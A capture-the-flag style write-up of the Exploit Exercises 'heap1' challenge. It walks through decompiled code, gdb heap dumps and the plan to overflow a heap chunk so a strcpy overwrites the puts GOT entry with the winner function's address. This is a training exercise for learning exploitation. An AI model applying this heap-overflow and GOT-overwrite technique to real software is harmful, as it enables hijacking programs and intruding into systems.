Let's immediately dive into the disassembly:
void main(undefined4 param_1,int param_2)
{
undefined4 *puVar1;
void *pvVar2;
undefined4 *puVar3;
puVar1 = (undefined4 *)malloc(8);
*puVar1 = 1;
pvVar2 = malloc(8);
*(void **)(puVar1 + 1) = pvVar2;
puVar3 = (undefined4 *)malloc(8);
*puVar3 = 2;
pvVar2 = malloc(8);
*(void **)(puVar3 + 1) = pvVar2;
strcpy((char *)puVar1[1],*(char **)(param_2 + 4));
strcpy((char *)puVar3[1],*(char **)(param_2 + 8));
puts("and that\'s a wrap folks!");
return;
}
The binary takes our command line arguments (two this time) and copies it into two different memory allocations which reside on the heap. Since strcpy
is used for both of those, we can easily overflow from the first chunk into the second making this challenge similar to heap0.
But how can we exactly abuse this to call the winner
function? By calling the strcpy
function, we are performing a write to a memory address which is specified as a first parameter and the overflow into the second chunk gives us the ability to specify any memory address we want. With this in mind, we can use the first strcpy
call to overflow into the second chunk and specify our memory address. Afterwards, we use the second strcpy
call to write to that same memory address.
This time, we don't get the helpful output specifying the chunk memory address. We will need to do this by hand via gdb:
Breakpoint 1 at 0x804855a: file heap1/heap1.c, line 34.
(gdb) run AAAAAAAA BBBBBBBB
Starting program: /heap1 AAAAAAAA BBBBBBBB
Breakpoint 1, main (argc=3, argv=0xffffd124) at heap1/heap1.c:34
34 heap1/heap1.c: No such file or directory.
(gdb) i r eax
eax 0x804a190 134521232
(gdb) x/60wx 0x804a190 - 0x40
0x804a150: 0x00000000 0x00000000 0x00000000 0x00000011
0x804a160: 0x00000001 0x0804a170 0x00000000 0x00000011
0x804a170: 0x41414141 0x41414141 0x00000000 0x00000011
0x804a180: 0x00000002 0x0804a190 0x00000000 0x00000011
0x804a190: 0x42424242 0x42424242 0x00000000 0x00021e69
0x804a1a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a1b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a1d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a1e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a1f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a200: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a210: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a220: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a230: 0x00000000 0x00000000 0x00000000 0x00000000
Again, breaking it down a little:
0x804a150: 0x00000000 0x00000000 0x00000000 0x00000011
0x804a160: 0x00000001 0x0804a170 0x00000000 0x00000011
0x804a170: 0x41414141 0x41414141 0x00000000 0x00000011
0x804a180: 0x00000002 0x0804a190 0x00000000 0x00000011
0x804a190: 0x42424242 0x42424242 0x00000000 0x00021e69
We see that there are multiple chunks on the heap here. The disassembly shows 4 malloc's being executed, therefore we observe:
- first malloc chunk
puVar1
starts at0x804a158
- second malloc chunk
pvVar2
starts at0x804a168
- third malloc chunk
puVar3
starts at0x804a178
- fourth malloc chunk
pvVar2
(second) starts at0x804a188
If we think about the content stored in these chunks we can assume that first and second chunk represent a struct:
0x804a158: 0x00000000 0x00000011 (first malloc chunk header)
0x804a160: 0x00000001 (integer, something like id)
0x804a164: 0x0804a170 (pointer to string1)
0x804a168: 0x00000000 0x00000011 (second malloc chunk header)
0x804a170: 0x41414141 0x41414141 (our string1)
Same goes for third and fourth chunk:
0x804a178: 0x00000000 0x00000011 (third malloc chunk header)
0x804a180: 0x00000002 (integer, something like id)
0x804a184: 0x0804a190 (pointer to string2)
0x804a188: 0x00000000 0x00000011 (fourth malloc chunk header)
0x804a190: 0x42424242 0x42424242 (our string2)
The strcpy
is passed with a pointer to our string (string1 or string2, depends whether it is the first or second call). What we want to do here is:
- write from string1 (
0x804a170
) all the way down to pointer to string2 (0x804a184
) - meaning that we will have to overwrite0x804a184 - 0x804a170 = 20 bytes (8 bytes string1 + 8 bytes malloc chunk header + 4 bytes integer)
. - in continuation write the memory address where we want to write our string2, but what address is that?
Since in the disassembly the last call that is made after strcpy is:
puts("and that\'s a wrap folks!");
We can simply overwrite the puts
GOT entry located at 0x08049774
.
To make this complete, we specify the winner
function address as a second command argument which will make the second strcpy
write the winner
function address to puts
GOT entry, practically executing the winner function after that second strcpy
by calling the winner
function instead of puts
. Solution for this challenge is solve_exploit_exercises_heap1.py